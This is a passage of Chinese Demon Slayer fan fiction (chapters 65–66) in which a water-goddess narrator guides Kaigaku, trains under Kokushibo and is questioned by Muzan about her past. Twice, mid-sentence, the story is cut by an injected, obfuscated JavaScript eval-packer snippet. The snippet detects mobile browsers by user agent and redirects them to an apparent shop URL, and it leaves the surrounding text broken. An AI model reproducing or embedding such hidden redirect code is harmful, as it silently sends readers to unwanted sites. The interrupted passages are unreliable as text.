我认真起来:“不对,之前我有仔细看过你和狛治阁下打架,你很容易被人家打中嘛!加上之前我们对战鬼杀队的那个风柱时,你被他砍中过。不要什么都指望再生能力,万一对方还有什么后续的招数,你就会吃亏,所以绝对不可以轻敌。我很快就会回来的,你替我暗中关照下狛治阁下和恋雪,不要让无惨大人抓到他们…还有不可以吃他们哦!” “放心好啦,毕竟猗窝座阁下曾经是我最好的朋友嘛~”童磨露出了人畜无害的微笑,“我会非常、非常温柔的关照他们哦~” 啧,怎么都感觉不是很可靠的样子。 “但想让人家帮忙的话,小染需要付出点代价哦~” “什么代价?你那个眷属刻印差点害我失血过多,你还好意思要代价?”我翻了个白眼,“如果不是神灵,我都不知道被你弄死几次了,还没有跟你要赔偿呢!” “诶呀,小染说得好像很有道理~”那只鬼难得认真地点点头,“那就当作是赔偿好啦~” “什么嘛,我不需要…唔!” 嘴唇毫无预兆的被攫取,那种冰冷又柔软的触感让我完全僵在原地,好在这次他竟然收起了尖牙,只是轻轻一碰,就放开了我。 为什么又是这个?这家伙…这种事为什么会如此熟练啊??到底是去了多少次吉原啊…? 显然利用赐血者的优势探听到了我乱七八糟的心声,鬼故作神秘地用指尖按住了我的嘴唇。 “到大正时,这个已经很流行了哦,不止在游郭,普通女孩子们也都喜欢呢~小染虽然是神灵,完全不懂这些事的话,以后回到那边搞不好会被人嘲笑哦~” 诶?是这样的吗?? 65. 神之子(15) 找到狯岳没费多少力气,看来在死灵森林里,即使是鬼,也容易被林子混乱的气场迷惑住,他甚至没有像我想象的那样跑出多远,就跟当初刚到地狱的妓夫太郎和小梅那样迷路了。 这小子站在个岔路口发呆,不知道看到了什么,我走过去四处望了下,却没发现异常。 “发什么愣?这里有什么不对吗?“ 直到我拍了他肩膀一下,他才如梦初醒般的弹了起来。 “死女人!你怎么跟鬼一样不声不响?!等等,你不会是已经死了,现在是幽灵吧?” “……严格来讲我们现在都是幽灵,这下你放心了吗?你是听到什么声音了吧?” “你…你怎么知道的?”那少年狐疑的看着我。 “死灵地狱就是这样,你会看到或者听到活着时和你有关的一些东西,如果陷入幻象出不来,灵魂就会被吃掉。我看你在这里愣了很久,是听到什么了?” 狯岳冷笑了下:“听见有人骂我而已,反正他们嘴里吐不出什么好话。你怎么没死?是用了什么保命的手段让上弦之贰放过你了?” “是我比较会躲而已,你以为我在地狱两百年是白混的?”我心情甚好,也就不太在意他的难听话了,“走吧,我算明白了,我是欠你们这群鬼的。” “哈哈,两百年?在这鬼地方?你吹牛也要有个限度吧?” “这是无间地狱,你没听说过吗?‘百千万年,求出无期’,两百年算什么,罪孽没赎清,关你一千年也正常啊,谁让你是鬼。别愣着了,你走不走?“ “……鬼怎么了?!我他妈只为自己能活着!我有什么错?!” 狯岳突然毫无预兆的发起飙来,几乎是撕心裂肺的吼道。 “死老头子只会偏心那个废物!老子自打入了他的门,每天天不亮就爬起来练刀,我他妈有一天偷懒吗?!老子出任务哪次叫过苦喊过累?!他是眼瞎了吗?!凭什么老向着那个哭哭啼啼的小垃圾?!不就是会哭吗?哭他妈有个屁用?!到我这里就只会拉着个老脸,我他妈再怎么努力他都看不到!看不到!还有那些只会在背后说闲话的废物东西,以为我不知道他们看不起我,咒我早晚被鬼吃了?!老子就偏不死,偏要出人头地给他们看!” 他目眦欲裂,一连串极难听的粗话直让我耳朵嗡嗡响。为了防止再招来附近的魔物,我只能默默布下道结界。 果真时代不同了,大正的年轻人连骂的粗话都是我没听过的。 小梅,还是你最可爱了!我想你! 他一直骂到气喘吁吁才停下。我抬手变出个水球递给他:“喝点水吧,你听起来喉咙都要冒烟了。” 少年红着眼睛瞪我:“这是什么?你为什么能用血鬼术?” “你先喝了我再告诉你,没下毒。” “我跟你又不熟,凭什么喝你的水?” 啊,这小孩的个性真是相当恶劣了。 “我跟你也不熟,凭什么给你带路?凭什么帮你找刀?凭什么带你去见黑死牟大人?凭什么在这里花时间听你骂人?“我直截了当地说,“你要么喝,要么不喝,哪来那么多乱七八糟的想法?” 他牙咬的咯咯响,似乎想要打我一顿,最终大概还是想起了被我痛殴的经历,没再说什么,黑着脸把水喝了。 感觉自从认识了童磨,我的耐心程度都跟着提高了不少,放在以前,这种脾气暴躁满肚子怨念的男孩子简直是我最讨厌的对象了。 “这水还挺甜。”他莫名的冒出一句。 “这是带有净化之力的水,我其实是个水神。”我淡淡的说,“我知道你肯定不信,喝完了我们就走吧。” 果然,他愣了一下就冷笑起来。 “水神?我还是座敷童子呢!你明明就是鬼吧?” “都差不多,在这地方,神灵和鬼没什么区别。” 我懒得跟他解释,只是向前一直走去。哪知道这孩子看我不理他,反而开始没话找话了。 “你是什么时候变的鬼?是那位大人给你的血吗?”他抱着刀,饶有兴致的问,“我看你挺厉害啊,女鬼很少有厉害的,听说之前的上弦之六就是女鬼,弱的很。“ 我不得不纠正他,“之前的上弦之六是一对兄妹,而且小梅一点也不弱,是个漂亮又坚强的女孩子,你没见过她,就别乱说。” “哦,我变鬼时间不长,也是听别的鬼说的。”他这次倒是实在,“但那位大人让我接替了上弦之六的位置,这是真的,我没骗人,是黑死牟大人推荐的我。“ “这我倒是相信。我虽然不懂雷之呼吸,但你的刀法看着很扎实,”我说,“要是磨练的时间再长一点,应该能成为柱什么的吧?” 他不屑的说:“我才不稀罕当柱,当上弦也很好,在哪干不是干?喂,你还没说呢,你也是黑死牟大人推荐的吗?“ “不是啊,是童磨大人。” 看到他瞠目结舌的样子,我忍不住被逗笑了,“你那是什么表情啊?对,就是刚刚追杀我们的那个家伙。“ “果然啊,跟他们说的一样。” “什么一样?“ 他压低了声音,“都说上弦之贰脑子有毛病,比那位大人还可怕。连自己推荐的属下都追杀,不是脑子有毛病是什么?” ……鬼之间原来也有这么多闲言碎语的吗?而且当着我的面说我上级的坏话,这孩子确实不太会做人的样子? 不过…某只鬼的名声怎么好像比无惨大人还要差?? “敢在背后议论那位大人,你不怕被他知道啊?”我凉凉的甩给他一句,果然他脸色就白了。 哈哈,胆子倒是不怎么大嘛。 “这可不是我说的,是别的鬼说的,”他连忙申辩道,“是个叫零余子的女鬼,那位大人要是问起来,你可不许栽赃我。” 啧,卖同伴卖的也很快。 “我栽赃你干什么,你又没有碍到我的事。你多大了?” 那少年一脸警觉,“你问这个干什么?“ “不干什么,就随便问问而已。”我愕然,“你是经常被人坑害吗?怎么警惕心这么强?” 狯岳的脸又黑下来,“你懂什么,老子懒得跟你说。” 我默默决定不搭理他。又听他心不在焉的开口: “我十七…快十八了。” “果然还是个小孩啊,”我笑道,“你这么小,怎么就进鬼杀队了?” “我都说了,我是上弦之六,跟那种垃圾组织已经没关系了。”他满脸厌烦地说,“谁赏识我,我就给谁卖命,别的都他妈是假的。你也别老叫我小孩,我十三岁就跟老头子学刀了,入队选拔的时候我都十四了,现任的柱里跟我差不多大的多的是。” “那你也只学了四年不到五年?很厉害嘛,我还以为你是从小就学的。” “开什么玩笑?我小时候能有口饭吃就不错了,还学刀?”他狂笑起来,“要不是为了出人头地,谁会加入鬼杀队那种组织?哈哈哈!” “所以你出人头地了吗?“我好奇的问。 “当然了,论我的实力,当上鸣柱都没问题,要不是那个臭老头偏心,非要我跟那个小废物一起继承雷之呼吸,我早就是柱了!他们全都看不起我,黑死牟大人可看的起我!”他恨恨地说,“我早晚杀回去,宰了那个小废物!” 我不知道他说的是哪个小废物,本来想提醒他一句他已经死了,但看他那副怨念深厚的样子,还是把话咽了回去。 “雷之呼吸啊…似乎是非常讲究速度的呼吸法呢。”我回忆道,“你的刀法很熟练,但速度和爆发力还是差一点。” “你懂什么雷之呼吸?”他不屑的嗤笑道,“你又没学过。” “我给你那把刀的主人,是战国时的雷柱…” “那叫鸣柱!你连这个都不知道,还说懂雷之呼吸?”他轻蔑的看着我,“不吹牛会死吗?” “那时候确实是叫雷柱的,驻扎在这里的那支鬼杀队你知道吧?”我耐心地解释道,“早云是那里的三位战国时代的柱之一,我有幸和他切磋过,所以能记住几种招式,比如稻魂,是速度非常快的五连击,远雷是一种长距离的突击,而霹雳一闪是速度和爆发力都很惊人的斩击,有点像黑死牟大人那天用来对付魔物的刀法,我记得第一次见到早云用那个的时候,连我都差点没看清他的攻击,接住那一刀的时候,我全身都被震麻了…” “怎么可能?!你能接住柱的壹之型?”狯岳满脸不信,“你真的是鬼吗?这种实力…怎么不是上弦?” “我跟你说了我是个神灵,而且我在这里跟人打了两百年了,只不过比起攻击,我更擅长防御和逃跑。”我笑了笑,“有机会你和我正式打一场就知道了。现在,准备跟我一起丢掉恐惧和脸面,面对黑死牟大人吧。” 那寒月般肃杀的鬼气,昭示着上弦之壹的存在。 与先前一样,鬼剑士端坐在一棵高大的古树下。可能是过于漫长的时间,也可能是其他什么东西的缘故,我并未从他身上感觉到寻常鬼的戾气。他实在是个非常安静的人,安静到总给我一种他在等待着什么的感觉。 在我跪下行礼后,他只是睁开眼看着我,似在审视。 “为何…有血的味道?” 我低下头,盯着地面道:“您真敏锐,出门前和童磨大人吵了几句嘴而已,是小伤,已经恢复了。” “童磨让你来…究竟是何目的?” 他的声音平淡,却一针见血,我不禁暗自感叹,这位上弦大人看来心思极缜密,要小心应对才行。 “我不想在您面前隐瞒什么,黑死牟大人。学习剑技是我自己的意志,那天对付魔物时您也看到了,我的斩击速度尚可,但力量和杀伤性不够,我想要变得更强,想要施展出像您那样一击必杀的剑技。”我再次行礼,“请您教导我。您不必担心,我在无间地狱两百年了,什么苦都能吃。” “你为何…想要变强?” 黑死牟大人以低沉而悦耳的嗓音,问出了一个我没有想到的问题。 “诶?”我抬起头,依然无法从他脸上读出任何表情,“变强…不是武者的正常追求吗?谁不想变强呢?虽然这样说有些失礼,但大人您应该也是怀着变强的心愿,才将剑技磨练到如此登峰造极的地步吧?” “武学之道…没有尽头。”他缓缓道,“永远会有…比你更强的人…出生在世上,任凭你如何追逐…皆不可得。你…可有此觉悟?” 他为什么会说这样的话呢?好奇怪。 这种带着淡淡遗憾的感觉,真不适合强大的上弦之壹啊。 “原来您是指这件事啊。大人,我本为神灵,并非武者,即便曾经有过作为人类的记忆,也只是神社里的小小巫女罢了。”我垂下眼帘,“但大概就是因为这个吧,当朋友需要我的时候,我却没能在他身边帮助他、守护他,为此留下百年的悔恨。所以我想要变强,皆是因为有朝一日,希望能以手中的刀守护重要之人,哪怕能和他并肩而立也是好的。别的追逐什么的,我…其实没那种奢求。” 六目的鬼武士良久地注视着我,最终微微颔首。 “虽为女子…你的气量…却是不凡。既然如此,我也不会…对你手下留情。” 他端坐的身形不动如山,沉声道:“就以你最大的力量…来攻击我吧。” “诶??您是让我拔刀砍您吗?”我吓了一跳,“这也太过失礼了!” “剑术…本就是杀人技。让我看看…你的实力。” 真是位严格的老师啊…黑死牟大人。 “那我就不客气了,请您恕我无礼!” 我虚晃了一下,选了我最擅长的迂回打法,以最快的速度闪跃到他左侧,一刀挥去。 一股巨大的力量从我刀上袭来,还没等我调整角度卸去那力道,就像被狂风卷了进去,身体以一个很是不雅的姿势撞向树干。 我在半空转身,在树上蹬了一下,再次扑了过去。 没料到结果一样,又被甩了出去。 真没天理,他甚至没有出刀,只是用刀鞘而已,就有这么大力气吗! 简直好像能预测我的攻击轨迹一样,上弦之壹果真恐怖如斯! 如此反复十几次,我终于翻了个身,退出了几步站定。 “为何会这样?大人?您的防守完全没有死角,是如何做到的?“ 他并未解释,只是淡然道:“再来。” 再来也是一样,不论从哪个刁钻的角度,甚至中途改变多次攻击角度,他也能准确无误地挡下我的攻击。 这难道是…长了六只眼睛的好处? 我忽然想起某些动物具有那样的能力,能从对手气味的改变预测其下一步的行动,难道是类似的原理? 再一次被甩出去后,我决定赌一把。 在接近他的一瞬间,我骤然收敛了全部的气息,随后以最快的速度切换了攻击角度。 铛—— 刀上传来的力量终于不再像是疾风,而是带上了凌厉的杀意。感受到一抹月华般的剑气,我低头看去,那柄布满眼睛的妖刀,竟然出鞘了一尺。 我向后急退,被那杀意逼的心脏狂跳。 黑死牟大人推刀入鞘,沉默而锐利地凝视着我。 末了,他轻轻吐出两个字: “不错。” “您的眼睛具有某种能力吧?黑死牟大人?您能预测到我的攻击?”我疑惑的问,“这是血鬼术吗?” 他的语气中竟然透出一丝肯定的意味:“你很敏锐…不愧是神灵。这便是…通透的视野。” 我惊讶道:“通透的视野?是说您可以看穿我的攻击轨迹吗?” “在活着时,是看穿肌肉的运动…和血液的流动…但在此地,也能感受到…气息的变化。“ “原来如此!我也只是推测,因为在自然当中,一些动物会拥有类似的能力,我说到底是荒川的蛇神,刚刚的判断只是基于本能罢了。” “不…你的应对很好。这种…隐藏自身的方法…是你自创的?” 竟然被上弦之壹夸奖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252342|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我顿时有种受宠若惊的感觉。 “是的,大人,说句不怕您取笑的话,我之前在无间地狱被关了很多年,因为失去了御神体和记忆而力量大减,遇到敌人只能尽量逃跑,所以倒是练出了一身逃命和躲藏的本事。”我笑道。 “难怪…”鬼剑士点了点头,“你的剑技…更像忍者的刺杀…而并非…剑士的攻击。如此…若遭遇强敌…便难以…发挥力量。” 不愧是在数百年的厮杀中磨练出绝顶技艺的剑士,仅仅是试探,就看出了我的弱点。 “我…我挥刀的力量不够。”我郁闷地说,“没办法像您那样,一刀就斩开魔兽的身体。” 黑死牟大人沉静地看着我,缓缓道: “并非是力量的缘故…而是…你缺乏杀意。” 他的一句话如同醍醐灌顶,瞬间点醒了我。 是啊,我本不是爱好杀戮之人。就连我的刀,最初也只是一把无刃的小刀而已,是无间地狱中的两百年厮杀,将它养成了一把能弑杀灵体的刀。但即便身为狩猎者多年,多数情况下我也是只求自保而已。 作为神灵,我很少允许自己生起愤怒或怨恨之心,因为担心那样会让我真的沉沦于地狱。哪怕是之前与鬼杀队的战斗中,比起愤怒,我感到的更多是悲哀。 如果说什么事会让我愤怒…大概是那些会伤害到童磨的事吧。 像是曾经的柳生大人,或是不久前的珠世小姐… “我…不喜欢杀人的感觉,黑死牟大人。我的力量只是为了守护重要的人,我并不享受战场厮杀的过程,而只是…只是希望一切能快点结束罢了。”我轻声说,“人类和鬼彼此争斗,在我看来是不可理解的事,我更希望大家能放下争执,有一天……” “愚蠢!” 我不解的看向那位大人,不知为什么,第一次在他眼中看到了…类似厌恶的眼神。 诶?我做错了什么了吗? “掌握着强者的力量…却逃避现实…不仅愚蠢…更是虚伪。怯战者…必被斩杀于刀下。” 黑死牟大人一贯听不出情绪的口吻中带上了罕见的严酷。 在那一刻我被他身上隐隐散发出的某种东西所震慑,似乎是那个我从未见过的战国乱世,在他的身上留下了一道颜色深暗的影子,时间或死亡,都无法抹去那道影子。 被那莫名的力量所折服,我深深的拜倒在地。 “谢谢您的教诲,大人,我必定铭记于心。只是…心中总有犹豫,的确是我的弱点。” 只听他淡淡地说: “若有犹豫,挥刀斩断即可。” 人要如何才能挥刀斩断心中的犹豫? 我挂在一棵树上,百思不得其解。 黑死牟大人说的没错,我的正面进攻在他面前可以说是一塌糊涂,原因是我没办法迸发出强烈的杀意,加上我习惯使用法术来配合战斗,只用剑技的话,总觉得哪里别扭。 于是在我第二百六十三次被那把不出鞘的妖刀甩飞后,我厚着脸皮表示想先休息,自己领悟下什么是杀意再说。 黑死牟大人没说什么,狯岳倒是幸灾乐祸地跑到我旁边的树杈上坐着,一副看热闹的表情。 “我就说女人不行吧,别浪费黑死牟大人的时间了,你根本不会用刀啊。” 我连眼皮都懒得抬:“滚,我现在心情不好,别逼我揍你。” 他冷哼了一声:“以为我怕你?要不是看黑死牟大人对你还不错,我才懒得理你。” “到底什么叫杀意?”我问那少年。 他一脸“你是不是有毛病”的表情,皱着眉头看我:“你是没被人打过吗?被打了难道不想宰了对方?比如我想宰了砍我脖子的那个小废物,这就叫杀意。” 我认真地在脑子里过了一遍自己挨揍的经历,“以前本事不行,确实也经常挨打,但挨打以后难道不该先跑路吗?难道要留下继续等对方接着打你?” “所以我说女人就是女人,没半点自尊和毅力,挨了打当然要让对方付出十倍百倍的代价,哪有跑了的道理?再说很多时候你根本跑不掉,难道就地等死?”他一副鄙夷的神情,“我还以为你有多厉害,也没比我强到哪去嘛。” “算了,先不想这个了。你要不要跟我打一架试试?” “打就打!老子正想试试这把刀好用不好用呢!” “啊,果然打一架就舒服多了~” 我站在一节被雷电劈得只剩下一半的树桩上,神清气爽地伸了个懒腰。 狯岳抱着刀往地上一坐,恶狠狠地说:“这刀太沉了,打起来一点也不好使!” “别嘴硬了,我看你的呼吸法发挥的超棒啊,我还是第一次见到黑色的闪电呢!” “啊?我没听错吧?”他一脸讥讽,“你刚刚不是一直在说我太慢吗?听你啰嗦个没完真是烦死了!“ “慢是的确慢了点,”我说,“所以说你还需要磨练嘛,而且你怎么不用霹雳一闪?我明明记得那个是攻击性最强的?” “你管的着吗?”那少年怒气冲冲地说,“我他妈学不会壹之型!” “诶?剑型你总会吧?要不要砍我几下试试?也许能发现问题呢?” “我才不在乎呢!我现在是鬼,就算不会雷之呼吸又怎样?!只要能宰了那个小垃圾就够了!” “你整天说小垃圾小废物的,到底是谁啊?”我忍不住问。 “我师弟。想起他那张脸我就恶心!” 狯岳躺平在地上,揪了根枯草杆子在嘴里叼着,“整天就知道哭哭啼啼的,什么也学不会,老头子还偏心他,什么都偷着教他,啧,活该切腹死那么惨。” ”不是吧,你师弟切腹了?”我大惊道,“但我记得在江户的时候,将军大人就颁布过命令,不允许武士切腹殉死,除非是犯了重罪…” “是我师父…不是我师弟。”狯岳的声音突然变得冰冷,“鬼杀队的队士变鬼,推荐人和培育师是要切腹谢罪的,那老头子就是蠢,就算是柱又怎么样,都已经退休了,还他妈真傻乎乎的去死了。” “这是什么没道理的规矩啊?你变成鬼,你师父就要切腹自杀?”我依然沉浸在震惊中无法自拔,“不是说已经没有将军也没有武士了吗?为什么鬼杀队还要遵循这种残忍的做法?” “我他妈怎么知道?!那就是个疯子组织!”狯岳破口大骂起来,“我都没想到他真的会去死!还是那个小垃圾告诉我的,说连介错都没有,就那么流血流死了!我他妈也想知道这是为什么啊?!” 他的声音竟然在发抖,我回头看去,发现他死死咬着牙,好像在拼命忍耐着什么。 “变鬼怎么了?!变鬼比做人…容易多了!不用担心吃了上顿没下顿,不用因为偷了几个钱就被赶出去,还他妈遇上鬼差点死了…也不用看人脸色过活…我他妈真的受够了啊…” “那个…你要哭就哭吧,我不笑话你。”我认真的说。 他猛地坐起,抓起那把刀就冲我扔过来: “你他妈给我滚!滚远点!” 66. 神之子(16) 每个人/神/鬼都有自己不被人知晓的黑暗时刻,我如此坚信。 听说就连天照大御神也曾经被素盏呜尊气的躲进天岩户里不肯见人,导致天地陷入一片黑暗;就连伊奘冉尊,也曾经因为被丈夫看到自己在黄泉国中蛆虫满身的丑态,而羞愤难当。连天神们都遇到过倒霉事,就别说我们这些普普通通的…神啊人啊鬼啊的了。 譬如我刚到无间地狱时,有段时间被打的找不到头,是真的找不到头,因为头被别的鬼拿走装饰在自己窝里了,后来听说因为我的发色和眼睛很漂亮,闻起来又很香,还引起了一场不大不小的争斗来着。 我能怎么办,我也很无奈。那时我的神灵之力还没丢光,只能发了一场大水,把对方的老巢冲了个干净,抢回了自己的脑袋。 但即使那样,我也没有特别生气,打架嘛,打完就完了,何必非要置彼此于死地?大家沦落到这种地步,本身已经很悲惨了,为什么非要自相残杀不可? 但后来我发现,那些人类的灵魂并不这么看,他们就算死后也要没完没了的战斗,活着时的执念,滋养了这片暗无天日的土地,又被土地本身成倍的放大,他们沉溺其中,无一例外的被执念吞噬。 人类不懂,地狱并不是神佛的惩罚,而是他们自己的创造。人心中的种种执念为世间带来无休无止的争端,争端带来业力,业力再滋生出新的争端,如此循环往复,地狱的业火因此千年不熄。 无论是杀人者,还是被杀者,都是这循环中的一环罢了。那些猎鬼人相信只要把鬼赶到地狱,就能让人世变得美好,这只是拿来骗小孩的童话而已,鬼来自人心,人心不变,鬼就不会从世间消失,重新换个面貌出现只是时间问题。 放下执念和怨恨,才是斩断业力的唯一途径。 但这道理说了也没用,我在鬼杀队那群人的身上已经发现,人类听不懂这个,就算有少数人听懂了也对此无能为力,因为人类是一个群体,其中的个体必须服从整体,少数个体的愿望,对群体而言毫无意义。 至于鬼,大概就更难说服了。 我望着四周突然出现的书架,以及坐在书桌前的黑发男人,如此想到。 对,我只是被狯岳骂跑了,在附近的林子里找到条小河,正打算摸个鱼,就又被无惨大人莫名其妙的召唤了。 我特别想知道他是怎么做到的,竟然可以在别人的生活中无孔不入? 那一刻我真切的体会到了上弦们的痛苦…童磨那种感觉失灵的家伙除外。 男人穿着颇为讲究的洋服,白皙纤长的手指交叉在一起,梅红色的妖娆眼眸中,细长的瞳孔不带一丝感情。 “竟然让黑死牟教你剑术,你想要做什么,白姬小姐?“ 我不知道他为什么如此坚持要用这个名字称呼我,是嘲弄还是有什么目的,只好叹了口气,拉开他面前的椅子坐下。 “您一定要监视身边的人吗?没有人告诉过您,这种习惯真的很让人反感吗?” “这次你别想激怒我。”他带着某种玩味的眼神看着我,“我已经熟悉了你的那些小把戏。是童磨让你来的?我来猜猜你们的目的,是想拉拢黑死牟加入你们的阵营,对吗?我的这两位上弦,还真是让人不省心啊。” “黑死牟大人效忠于您,而他现在是我的老师,我绝不会让他为难,所以您大可放心。”我平静地说道,“我只是偶尔见识了大人他的剑技,受到了震撼,而想要学习罢了。您呢?这次您又给我带来了什么惊喜?” 无惨大人轻轻勾起嘴角,“你真有趣,白姬小姐,如果活着时就认识你,大概能为我们双方带来很多好处。可惜,只差那么一点,但现在还不晚。” 听他话中有话,我索性说道:“您是得到了什么新的情报吗?不如分享出来?” 鬼王笑了笑,“你的直觉很敏锐嘛。我又从记忆里找到了一点陈年旧事,你要不要听听?” 随即他慢条斯理地说: “大约两百年前,江户城的贵族柳生氏全家被杀的事,白姬小姐想必十分清楚吧?” 我微微一愣,随即笑道:“这种小事您也知道?您还真是神通广大。” “我活了一千年呢,白姬小姐,况且这在当时可不是小事,虽然幕府以瘟疫为借口来掩人耳目,还是惊动了公家的阴阳师,至于后面发生的事,你应该比谁都了解吧?” “您到底是怎么知道的?您去过江户?”我收敛了笑意。 “不急,喝茶吗?还是咖啡?”他不知从哪里摸出一只罐子,朝我晃了晃。 “还是茶吧,那种叫咖啡的,我喝不惯。” “你应该感到荣幸,还没人喝过我亲手泡的茶呢。”他面上虽笑着,红瞳中却散发出淡淡的寒意。 “您是主人,我是客人,如果是我来泡茶,我们的位置就颠倒了,这不合礼仪。”我学童磨的样子,露出个厚颜无耻的笑容,“如果以后有机会,您来我家里做客,我自然会为您泡一壶好茶。” “你的这张嘴真是让我厌恶,白姬小姐。” “谢谢您的夸奖。” “别说那些废话了。”无惨大人用指尖轻轻敲了敲茶壶盖子,“当时我正在组建十二鬼月,但那时常驻在江户附近的眷属中,除了猗窝座,并没有鬼能一次杀死六十多人,甚至吞噬到只剩一点残肢的程度,我很想知道这到底是谁干的,但现场被幕府派来的人迅速清理了,没有找到任何线索。” “说到这里我很想知道,是什么让你,一位神灵,做出这种不亚于鬼的残酷之事呢?白姬小姐?”他缓缓将淡青色的茶水注入杯子,空气里弥漫开宇治茶的清香。 “这是我的私事,一两句话解释不清。”我冷冷地注视着他,“能让您都觉得残酷,我简直不知道自己该不该高兴。” “你当然该高兴,因为我最喜欢残酷的事。”无惨大人微笑,“如果不是这件事足够残酷,也不会给我留下如此深刻的印象,以至于前段时间,我派半天狗去追查和鬼杀队有关的情报时,意外发现了和这件事有关的线索。” “我本来觉得那只是一份无聊的报告,但里面提到,享保年间,有个来自京城的阴阳师,在江户城外的荒川边,曾和‘神灵’交战,并封印了一条被称为‘荒川之主’的大蛇。这听起来简直是那些百物语之类的无稽之谈,不是么?毕竟我活了这么久,也从没见过任何神佛显灵。” 他往前凑了凑,似乎想要观察我的表情:“但现在我只想知道一件事,白姬小姐,你当时的感受是怎样的?身为神灵却被人类击败,屈辱?恐惧?痛苦?哪一种感受最让你刻骨铭心呢?” “您又来了。那已经是两百年前的事了,我早记不清了,话说您总不会想让我去报复那位阴阳师吧?”我喝了一口茶,忍不住笑起来,“人类的话,应该连骨头渣子都找不到了吧。” “那可不一定。”无惨大人端着茶杯,脸上浮现了森然的笑意,“当时的阴阳师的确没多久就死了,但从他留下的信件来看,他所出自的本家,正是产屋敷一族。” 我皱了皱眉。 产屋敷?怎么又是产屋敷? 注意到我的神情,无惨大人满意地点点头,“对,正是那该死的产屋敷。白姬小姐,你可能不知道,阴阳师这一行,从平安朝的时候开始,就在固定的几个家族中传承,产屋敷一族为了给子嗣续命,和京里的神官家族通婚,其后代也有些去修习了阴阳术,他们做的那些符咒,也给我造成过不小的麻烦。” “所以,我们其实有着共同的敌人,白姬小姐。” 我叹了口气。 “无惨大人,如果您了解我就会知道,我对几百年前谁封印了我这种事毫无兴趣,也压根不想去报复哪个人,因为报复没有意义,只能产生更多的因果罢了。您不信因果报应,但作为神灵,我还是要提醒您一句,因果报应是存在的,只不过和人类了解的不太一样而已,您可以把它理解成一张人类和鬼都看不见的大网。正因身为神灵,我的本能会告诉我哪些行为会触碰这张网,沾染上面的脏东西,而我并不想做这种蠢事,别的神灵也一样,他们宁可在适当的时候,选择一些特殊的人类来充当棋子,也不愿沾染人世的污秽,这就是您在一千年间没在世间见过神佛显灵的原因。” “原来如此!不得不说,你们这些神灵真是比鬼要狡猾多了。”鬼王眯起那对血色的眸子,“但你确定你对产屋敷一族毫无憎恨?对鬼杀队所做的事,也全都可以原谅?” 我坦言道:“即便有恨意,也不值得我为此去触碰因果之网,要是落到和您一样的下场,实在是得不偿失。” “不急,白姬小姐,你最好看过我的记忆后再下这个结论。”无惨大人那张精致完美的脸上忽然展露出近乎恶毒的笑容,“我不会给别人看这些,但你应该想要知道,无限城的那一战中,到底发生了什么事吧?” 我睁大了眼睛,还没来的及说出一个“不”字,就被卷进了那个名为“无限城”的噩梦里。 那道漫长走廊上的门,再次开启了。 我看到莲池成了血池。 蝴蝶羽织的少女与她喷薄而出的仇恨。 毒刺般的刀刃穿过他眼中的彩虹。 冰的莲蔓抓住了猎物,赐予吞噬与救赎。 而后是新的激战,冰霜漫天,莲华闪耀,白发的上弦鬼在飞花中挥舞金扇,施展出绝美的血鬼术,身姿依然优雅的仿佛跳起祭舞。 恰似两百年前那个春日的午后,在荒川神社的庭院中,手持纸扇起舞的黑衣小神子。 他变成了鬼,但在我眼中又似乎从未变过,人类和鬼都只记得无情又残忍的上弦之贰,只有我记得那个没有名字的孩子,记得他在阳光下向我伸出手,记得他坐在高高的神辇上,记得他捧着点心想吃又不敢吃的样子,和他脸上天真又甜美的微笑。 曾救赎我的小神子陨落在无限城的莲池畔,记忆里洁白无暇的初雪,化作猎鬼人脚下的尘埃。 他变成了鬼,因此没人肯给他救赎,他最后听到的话只有一句: ——孤零零的下地狱去吧,你这下三滥。 珠世说,那是七百倍致死量的紫藤花毒,从内脏到骨头都会被腐蚀溶解。 她不知道的是,那个孩子从小就不太能感觉到痛,也感觉不到害怕难过,连手被太刀割了那么深的一道伤口,血流了一茶席,都还能笑眯眯的安慰我不要哭。 所以对这个夺去他所有光明的世界,他到死,也没有一丝一毫的怨恨。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252343|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一场战斗,我告诉自己。 战场之上,你死我活,双方无论做出什么举动,都轮不到旁人去评判,只要战斗是公平的,结束之时就因果两清,两不相欠。 但仇恨不是,仇恨终结不了因果,只能制造出更多的因果。 我看到又一位手拿日轮刀、眼中满是恨意的少女对他说: ——从你嘴里说出来的话,全部都是胡编乱造的谎言。 ——你是个很可怜的家伙,你想必什么也感觉不到吧? ——降生在这个世上的人们,会理所当然地因为高兴而露出笑容,以及因为悲伤和愤怒而浑身发抖,而你却完全无法理解这些感情,对不对? ——但你很聪明,所以一直都在用谎言掩饰,为了不让他人发现自己什么都感觉不到,适时地装出喜悦或者悲伤的样子,对于你而言,这世上的一切喜怒哀乐都毫无意义,而你却不得不演戏给所有人看。 ——这太滑稽了,简直就像傻瓜一样。 ——你究竟是为了什么而来到这个世上的呢? ——这样实在太丢人了,所以还是趁早死掉为好,毕竟你活在这个世上,根本就没有任何意义啊! 你错了。我在心中默默的说。 降生在这个世上的人,生在什么样的家中,在什么样的地方长大,拥有怎样的人生,体会到爱还是恨,是幸福还是悲伤,全都不是理所当然的,而是命运的安排。 在你最绝望的时刻,有没有一只手肯伸向你,也是命运的安排。 并不是所有的人都能幸运地得到同样的东西。有人天生失明,有人天生耳聋,有人出身花街,有人流落街头,有人是大名家的女儿,却早早成了祭品,有人是神明之子,却连糖都没怎么吃过。 